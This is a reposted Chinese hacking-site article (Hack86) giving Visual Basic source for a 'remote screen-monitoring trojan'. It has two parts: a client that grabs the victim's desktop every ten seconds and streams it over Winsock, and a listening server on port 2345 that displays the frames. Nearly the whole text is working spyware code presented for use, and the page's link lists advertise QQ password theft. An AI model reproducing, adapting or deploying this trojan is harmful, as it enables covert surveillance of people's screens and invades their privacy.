设为首页  加入收藏  联系我们 繁體中文  

黑客软件:

  漏洞扫描 | 木马间谍 | 加密解密 | 远程控制 | 破坏攻击 | 杀毒软件 | 防火墙类 | OICQ专区 | 黑客必备 | 常用工具 | 网吧攻击
文章中心:   最新资讯 | 黑客技术 | 电脑基础 | 菜鸟文摘 | 网络安全 | 网络技巧 | QQ技巧 | OQ空间代码 | 免费资源 | 编程世界 | 建站技术
素材源码:   论坛相关 | ASP源码 | CGI 源码 | NET 源码 | PHP 源码 | 酷站素材 | 字体素材 | 图片素材 | 友情发布 | 网页模版 | 建站软件
教程动画:   黑客教程 | 黑客编程 | 网站入侵 | 菜鸟教程 | 入侵教程 | 破解教程 | 电子书籍 | 网页制作 | 高级会员 | 综合教程 | 本站原创


   

  您当前的位置:中华隐士黑客联盟 -> 编程世界 -> 黑客编程 -> 文章内容 [站内搜索]  

 
用VB打造远程屏幕监控木马
作者:不详  来源:转载  发布时间:2007-1-19 12:28:19  发布人:heigeheapao

本程序思路是通过定时截取屏幕图形,来作为被控端。源码如下所示:

Option Explicit
Private Type BITMAP
    bmType As Long
    bmWidth As Long
    bmHeight As Long
    bmWidthBytes As Long
    bmPlanes As Integer
    bmBitsPixel As Integer
    bmBits As Long
End Type
Private Declare Function GetObj Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long, 
ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) 
As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, 
ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal
 xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (Destination As Any, 
Source As Any, ByVal Length As Long)
Private Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount 
As Long, lpBits As Any) As Long
Private Declare Function SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount 
As Long, lpBits As Any) As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal 
nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As 
Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private MyHdc1 As Long, MyBmp1 As Long, MyOldBmp1 As Long, ScrW As Long, ScrH As Long
Private StartT As Single
Private Sub Form_Load()
  Dim bm As BITMAP, BmpSize As Long
  Timer1.Enabled = False   '间隔时间获取图形
  Me.ScaleMode = 3
  ScrW = Screen.Width \ Screen.TwipsPerPixelX
  ScrH = Screen.Height \ Screen.TwipsPerPixelY
  '这只是方便调试的示例,实用程序中,不用临时DC,可直接取窗体的BMP,会快一些
  MyHdc1 = CreateCompatibleDC(FrmClient.hdc)
  MyBmp1 = CreateCompatibleBitmap(FrmClient.hdc, ScrW, ScrH)
  MyOldBmp1 = SelectObject(MyHdc1, MyBmp1)
  'Ws2为WinSock控件,用于发送数据   
  'Ws2.RemoteHost = InputBox("请输入远程服务器ip地址", "远程监控测试", "127.0.0.1")
  'Ws2.RemotePort = 2345
  'Ws2.Connect
  Timer1.Interval = 10000
  Timer1.Enabled = True
End Sub
Private Sub Form_Unload(Cancel As Integer)
  'Ws2.Close
  SelectObject MyHdc1, MyOldBmp1
  DeleteObject MyBmp1
  DeleteDC MyHdc1
End Sub
Private Sub Timer1_Timer()
  Dim i As Long, d As Long, b As Long, bm As BITMAP, dat() As Byte, BmpSize As Long
  StartT = Timer
  d = GetDesktopWindow
  i = GetDC(d)
  BitBlt MyHdc1, 0, 0, ScrW, ScrH, i, 0, 0, vbSrcCopy
  ReleaseDC d, i
  GetObj MyBmp1, Len(bm), bm
  BmpSize = bm.bmWidthBytes * bm.bmHeight
  ReDim dat(BmpSize - 1)
  GetBitmapBits MyBmp1, BmpSize, dat(0)
  ReDim Preserve dat(BmpSize + 1)
  dat(BmpSize) = 13
  dat(BmpSize + 1) = 10
  'StartT = Timer
  'Ws2.SendData dat
  Debug.Print dat     'dat为获取到的屏幕图形数据
End Sub
Private Sub Ws2_Close()
  StatusBar1.SimpleText = Ws2.RemoteHost & " Disconnected.."
  Ws2.Close
End Sub
Private Sub Ws2_Connect()
  StatusBar1.SimpleText = Ws2.RemoteHost & " Connected.."
End Sub
Private Sub Ws2_Error(ByVal Number As Integer, Description As String, ByVal Scode As 
Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, 
CancelDisplay As Boolean)
  On Error Resume Next
  StatusBar1.SimpleText = Ws2.RemoteHost & " Error : " & Description
  Ws2.Close
End Sub


'=============================================================
'项目名称:   Server (远程屏幕监控端)
'窗口名称:   FrmServer
'WinSock控件:Ws1
'StatusBar控件:StatusBar1 (注意:StatusBar1.Style = sbrSimple)
'=============================================================


Option Explicit
Private Type BITMAP
    bmType As Long
    bmWidth As Long
    bmHeight As Long
    bmWidthBytes As Long
    bmPlanes As Integer
    bmBitsPixel As Integer
    bmBits As Long
End Type
Private Declare Function GetObj Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long, 
ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) 
As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, 
ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal
 xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (Destination As Any, 
Source As Any, ByVal Length As Long)
Private Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount 
As Long, lpBits As Any) As Long
Private Declare Function SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount 
As Long, lpBits As Any) As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal 
nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As 
Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private ScrW As Long, ScrH As Long
Private MyHdc As Long, MyBmp As Long, MyOldBmp As Long, BmpDat() As Byte, RevByte As Long
Private StartT As Single
Private Sub Form_Load()
  Dim bm As BITMAP, BmpSize As Long
  
  On Error GoTo ErrLoad
  
  Me.ScaleMode = 3
  ScrW = Screen.Width \ Screen.TwipsPerPixelX
  ScrH = Screen.Height \ Screen.TwipsPerPixelY
  '这只是方便调试的示例,实用程序中,不用临时DC,可直接取窗体的BMP,会快一些
  MyHdc = CreateCompatibleDC(FrmServer.hdc)
  MyBmp = CreateCompatibleBitmap(FrmServer.hdc, ScrW, ScrH)
  MyOldBmp = SelectObject(MyHdc, MyBmp)
    
  GetObj MyBmp, Len(bm), bm
  BmpSize = bm.bmWidthBytes * bm.bmHeight
  ReDim BmpDat(BmpSize - 1)
  GetBitmapBits MyBmp, BmpSize, BmpDat(0)
  WS1.LocalPort = 2345
  WS1.Listen
  
  Exit Sub
  
ErrLoad:
  MsgBox Error
End Sub
Sub getscreen()
End Sub
Private Sub Form_Unload(Cancel As Integer)
  On Error Resume Next
  WS1.Close
  SelectObject MyHdc, MyOldBmp
  DeleteObject MyBmp
  DeleteDC MyHdc
End Sub
Private Sub WS1_Close()
  StatusBar1.SimpleText = WS1.RemoteHostIP & " Disconnected.."
  WS1.Close
  If WS1.State = sckListening Then
    WS1.Close
  Else
    WS1.LocalPort = 2345
    WS1.Listen
  End If
End Sub
Private Sub Ws1_ConnectionRequest(ByVal requestID As Long)
  If WS1.State <> sckClosed Then WS1.Close
  StatusBar1.SimpleText = WS1.RemoteHostIP & " Connecting.."
  WS1.Accept requestID
  If WS1.State = 7 Then StatusBar1.SimpleText = WS1.RemoteHostIP & " Connected.."
End Sub
Private Sub Ws1_DataArrival(ByVal bytesTotal As Long)
  Dim dat() As Byte, i As Long, nTime As Long
  
  On Error Resume Next
  
  WS1.GetData dat, vbArray Or vbByte
  i = InStrB(1, dat, ChrB(13) & ChrB(10))
  If i > 0 Then
    'StartT = Timer
    If i > 1 Then CopyMemory BmpDat(RevByte), dat(0), i - 1
    SetBitmapBits MyBmp, UBound(BmpDat) + 1, BmpDat(0)
    RevByte = 0
    '实用程序中,不用临时DC,下面一步可省
    BitBlt Me.hdc, 0, 0, Me.ScaleWidth, Me.ScaleHeight, MyHdc, 0, 0, vbSrcCopy
    nTime = Timer - Val(Me.Caption)
    Me.Caption = Timer - StartT
    If Len(StatusBar1.SimpleText) < 255 Then
        StatusBar1.SimpleText = nTime & "," & StatusBar1.SimpleText
    Else
        StatusBar1.SimpleText = nTime
    End If
    If bytesTotal > i + 1 Then
        RevByte = bytesTotal - i - 1
        CopyMemory BmpDat(0), dat(i + 1), RevByte
    End If
  Else
    CopyMemory BmpDat(RevByte), dat(0), bytesTotal
    RevByte = RevByte + bytesTotal
  End If
  
End Sub
Private Sub WS1_Error(ByVal Number As Integer, Description As String, ByVal Scode As 
Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, 
CancelDisplay As Boolean)
  StatusBar1.SimpleText = ("Error : " & Description)
End Sub
[] [返回上一页] [打 印] [收 藏]
  [相关文章评论]    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
 

  用vbs加用户的绝妙方..
为防木马,无键盘也..
为防木马,无键盘也..
不用翻箱倒柜:用Vi..
利用Visual Basic实..
教你如何用VB打造远..
系统安全知识 用VB..
自主安全 如何禁用V..
利用Visual Basic编..
黑客技巧之用VB实现..


 
免费获得Q币的最新方法
最新免费在线看的电影网站集绵
不用木马,轻松万能偷daoQQ号码
最新QQ空间4.0全屏版效果图!!
新免蟆Q秀,刷红钻的方法
黑客快速入门(强烈推荐)
QQ密码本地破解的原理和方法
18岁少女欲6000元卖处女身 救患血..
8款QQ空间免费开场动画
免费QQ蓝钻体验(附考试答案)
 
设置Web邮箱黑客警报器 防止财务.. 04-11
二行代码解决全部网页木马(含ifr.. 04-11
防止黑客根据PHP中的错误信息爆路.. 04-11
webshell下查找所有IIS站点配置... 04-11
终级win2003服务器安全配置篇! 04-11
解决“网际快车”和“迅雷”右键.. 04-11
英国电信(BT)被指监视36000余名互.. 04-11
用命令行开启或关闭 IP 安全策略.. 04-11
Firefox2狂占CPU解决办法 04-11
大水牛下载者手工清除的方法 04-11
 
关于本站 网站帮助 广告合作 下载声明 友情连接 网站地图 访客留言 论坛登录
〖中华隐士黑客联盟〗,Copyright © 2006-2010 WwW.Hack86.Com 闽ICP备:06023304号
站长:小质 QQ:771760,软件发布MAIL:Hack086@21cn.com